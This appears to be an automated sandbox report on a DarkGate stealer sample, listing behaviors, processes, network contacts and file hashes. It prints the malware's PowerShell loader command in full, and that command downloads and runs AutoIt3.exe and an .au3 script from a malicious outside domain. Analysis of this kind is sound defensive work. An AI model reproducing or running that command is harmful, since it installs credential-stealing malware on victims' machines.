Malware Analysis Report

2024-11-30 11:23

Sample ID 231107-r1xlyabf57
Target 07112023_2240_27c9f60aaba81.zip
SHA256 9fc091851a420204b53e5a02e7a9d41c653f8d67e0cb792b90b56ce27667cbce
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9fc091851a420204b53e5a02e7a9d41c653f8d67e0cb792b90b56ce27667cbce

Threat Level: Known bad

The file 07112023_2240_27c9f60aaba81.zip was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-07 14:40

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-07 14:40

Reported

2023-11-07 14:43

Platform

win7-20231020-en

Max time kernel

118s

Max time network

125s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\27c9f60aaba81.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\27c9f60aaba81.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msiqgmovrcg' -OutFile 'qgmovrcg.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'qgmovrcg.au3'"; Stop-Process -Name "WScript"

Network

N/A

Files

memory/2664-5-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

memory/2664-4-0x000000001B360000-0x000000001B642000-memory.dmp

memory/2664-6-0x0000000002770000-0x00000000027F0000-memory.dmp

memory/2664-8-0x0000000001D70000-0x0000000001D78000-memory.dmp

memory/2664-7-0x0000000002770000-0x00000000027F0000-memory.dmp

memory/2664-9-0x0000000002770000-0x00000000027F0000-memory.dmp

memory/2664-10-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

memory/2664-11-0x0000000002770000-0x00000000027F0000-memory.dmp

memory/2664-12-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-07 14:40

Reported

2023-11-07 14:43

Platform

win10v2004-20231020-en

Max time kernel

87s

Max time network

151s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\27c9f60aaba81.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\27c9f60aaba81.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msiqgmovrcg' -OutFile 'qgmovrcg.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'qgmovrcg.au3'"; Stop-Process -Name "WScript"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" qgmovrcg.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 163.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 8sjimonstersboonkonline.com udp
US 82.117.253.136:2351 8sjimonstersboonkonline.com tcp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 136.253.117.82.in-addr.arpa udp
US 8.8.8.8:53 198.1.85.104.in-addr.arpa udp
US 82.117.253.136:2351 8sjimonstersboonkonline.com tcp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 65.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp

Files

memory/4976-0-0x00000278DFF40000-0x00000278DFF62000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cmo14icg.i2c.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4976-10-0x00007FFF6D3C0000-0x00007FFF6DE81000-memory.dmp

memory/4976-11-0x00000278F8250000-0x00000278F8260000-memory.dmp

memory/4976-12-0x00000278F8250000-0x00000278F8260000-memory.dmp

memory/4976-13-0x00000278F8250000-0x00000278F8260000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/4976-27-0x00007FFF6D3C0000-0x00007FFF6DE81000-memory.dmp

C:\tepp\qgmovrcg.au3

MD5 7c0118e766a4ae2d2b403e3fb4b0bb98
SHA1 be7f5a1371c26c97ce19a74068e3b0789482cca2
SHA256 873d0578b78a1a8417ed8b63d400ba29d1fb942c23e9586cb5dcbf1643e560b8
SHA512 5995d51d309782214eeda00e49f4e6c04836164f658d7b0157f2743460e46a51a0ab5ed31a37998c52eb7d807a9abd5c6fb812f267f651c2b557496f3914b1d1

memory/5072-30-0x0000000003BE0000-0x0000000003CE0000-memory.dmp

memory/5072-31-0x0000000004240000-0x00000000043D5000-memory.dmp

memory/5072-32-0x0000000004240000-0x00000000043D5000-memory.dmp